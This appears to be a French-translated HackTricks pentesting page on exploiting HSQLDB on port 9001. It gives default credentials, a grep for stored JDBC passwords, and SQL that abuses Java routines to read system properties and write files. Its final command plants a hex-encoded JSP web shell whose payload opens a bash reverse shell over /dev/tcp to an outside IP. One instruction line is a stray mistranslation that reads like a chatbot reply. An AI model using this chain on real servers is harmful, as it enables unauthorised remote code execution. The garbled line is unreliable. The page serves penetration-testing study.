hacktricks/network-services-pentesting/9001-pentesting-hsqldb.md

99 lines
6.7 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>
2023-06-03 13:10:46 +00:00
# Informations de base
2023-06-03 13:10:46 +00:00
HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\) est le principal système de base de données relationnelle SQL écrit en Java. Il offre un moteur de base de données petit, rapide, multithread et transactionnel avec des tables en mémoire et sur disque et prend en charge les modes intégrés et serveur.
2023-06-03 13:10:46 +00:00
**Port par défaut :** 9001
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
2022-05-01 12:49:36 +00:00
# Information
2023-06-03 13:10:46 +00:00
### Paramètres par défaut
2023-06-03 13:10:46 +00:00
Notez que par défaut, ce service fonctionne probablement en mémoire ou est lié à localhost. Si vous l'avez trouvé, vous avez probablement exploité un autre service et cherchez à escalader les privilèges.
2023-06-03 13:10:46 +00:00
Les identifiants par défaut sont généralement `sa` avec un mot de passe vide.
2023-06-03 13:10:46 +00:00
Si vous avez exploité un autre service, recherchez des identifiants possibles en utilisant
```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
2023-06-03 13:10:46 +00:00
Notez bien le nom de la base de données - vous en aurez besoin pour vous connecter.
2023-06-03 13:10:46 +00:00
# Collecte d'informations
2023-06-03 13:10:46 +00:00
Connectez-vous à l'instance de la base de données en [téléchargeant HSQLDB](https://sourceforge.net/projects/hsqldb/files/) et en extrayant `hsqldb/lib/hsqldb.jar`. Exécutez l'application GUI \(beurk\) en utilisant `java -jar hsqldb.jar` et connectez-vous à l'instance en utilisant les identifiants découverts/faibles.
2023-06-03 13:10:46 +00:00
Notez que l'URL de connexion ressemblera à ceci pour un système distant : `jdbc:hsqldb:hsql://ip/DBNAME`.
2023-06-03 13:10:46 +00:00
# Astuces
2023-06-03 13:10:46 +00:00
## Routines de langage Java
2023-06-03 13:10:46 +00:00
Nous pouvons appeler des méthodes statiques d'une classe Java à partir de HSQLDB en utilisant des routines de langage Java. Notez que la classe appelée doit être dans le chemin de classe de l'application.
2023-06-03 13:10:46 +00:00
Les JRT peuvent être des `fonctions` ou des `procédures`. Les fonctions peuvent être appelées via des instructions SQL si la méthode Java renvoie une ou plusieurs variables primitives compatibles avec SQL. Elles sont invoquées à l'aide de l'instruction `VALUES`.
2023-06-03 13:10:46 +00:00
Si la méthode Java que nous voulons appeler renvoie void, nous devons utiliser une procédure invoquée avec l'instruction `CALL`.
2023-06-03 13:10:46 +00:00
## Lecture des propriétés système Java
2023-06-03 13:10:46 +00:00
Créer une fonction :
```text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
```
2023-06-03 13:10:46 +00:00
Je suis prêt à exécuter la fonction. Veuillez fournir les détails nécessaires.
```text
VALUES(getsystemproperty('user.name'))
```
2023-06-03 13:10:46 +00:00
Vous pouvez trouver une [liste de propriétés système ici](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
2023-06-03 13:10:46 +00:00
## Écrire du contenu dans un fichier
2023-06-03 13:10:46 +00:00
Vous pouvez utiliser le gadget Java `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` situé dans le JDK \(chargé automatiquement dans le chemin de classe de l'application\) pour écrire des éléments encodés en hexadécimal sur le disque via une procédure personnalisée. **Notez la taille maximale de 1024 octets**.
2023-06-03 13:10:46 +00:00
Créer une procédure :
```text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
```
2023-06-03 13:10:46 +00:00
Exécuter la procédure :
```text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
```
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>